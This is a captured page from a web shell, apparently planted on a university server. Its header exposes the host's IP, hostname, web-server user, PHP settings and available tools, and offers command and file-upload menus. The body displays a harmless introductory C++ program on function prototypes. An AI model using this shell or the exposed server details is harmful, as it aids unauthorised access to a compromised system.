Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.129.67.248
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/lmking1/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/lmking1/monthexwithproto.cpp
//-------------------------------------------------------------
// Example to illustrate user-defined functions and prototypes
//
// (Same as monthex.cpp but with prototypes)
//-------------------------------------------------------------

#include <iostream>
using namespace std;

// ------------------------------------------------------------
// Function Prototypes go here / Complete Definitions Later
// ------------------------------------------------------------

int DaysInMonth (int);
void DisplayMonthName (int);



//-------------------------------------------------------------
//  Main Function
//-------------------------------------------------------------

int main ( )
{

// --- Variables

    int monthnum,  // month number (1 - 12) entered by user
         numdays;  // number of days in month

// --- Get month number from user

    cout << "\nEnter a month number (1-12): ";
    cin >> monthnum;

// --- Validate month number

    while (monthnum < 1 || monthnum > 12)
    {
       cout << "\n\n!!! Month number must be in range 1 - 12 !!!";
       cout << "\n\nPlease re-enter month number: ";
       cin >> monthnum;
    }

// --- Get number of days in month
 
    numdays = DaysInMonth(monthnum);

// --- Display output sentence 

    cout << "\n\n";
    DisplayMonthName (monthnum);
    cout << " has " << numdays << " days.\n\n";

    return 0;
}


//-------------------------------------------------------------
// Complete function definitions now follow main
//-------------------------------------------------------------


//-------------------------------------------------------------
// DaysInMonth determines the number of days of the month
// Note:  ignores leap year
//-------------------------------------------------------------
// Accepts:  number (1 - 12) representing month
// Returns:  number of days in that month
//-------------------------------------------------------------

int DaysInMonth (int monthnum)
{
    int numdays;  // temp variable for days in month

    switch (monthnum)
    {
        case 1:
        case 3:
        case 5:
        case 7:
        case 8:
        case 10:
        case 12:   numdays = 31;  break;
        case 2:    numdays = 28;  break;
        case 4:
        case 6:
        case 9:
        case 11:   numdays = 30;  break;
    }

    return numdays;
}

//-------------------------------------------------------------
// DisplayMonthName displays the month name to standard output
//-------------------------------------------------------------
// Accepts:  number (1 - 12) representing month
// Returns:  nothing
//-------------------------------------------------------------

void DisplayMonthName (int monthnum)
{
    switch (monthnum)
    {
        case 1:  cout << "January";  break;
        case 2:  cout << "February";  break;
        case 3:  cout << "March";  break;
        case 4:  cout << "April";  break;
        case 5:  cout << "May";  break;
        case 6:  cout << "June";  break;
        case 7:  cout << "July";  break;
        case 8:  cout << "August";  break;
        case 9:  cout << "September";  break;
        case 10:  cout << "October";  break;
        case 11:  cout << "November";  break;
        case 12:  cout << "December";  break;
    }
}


Stv3n404 - 2023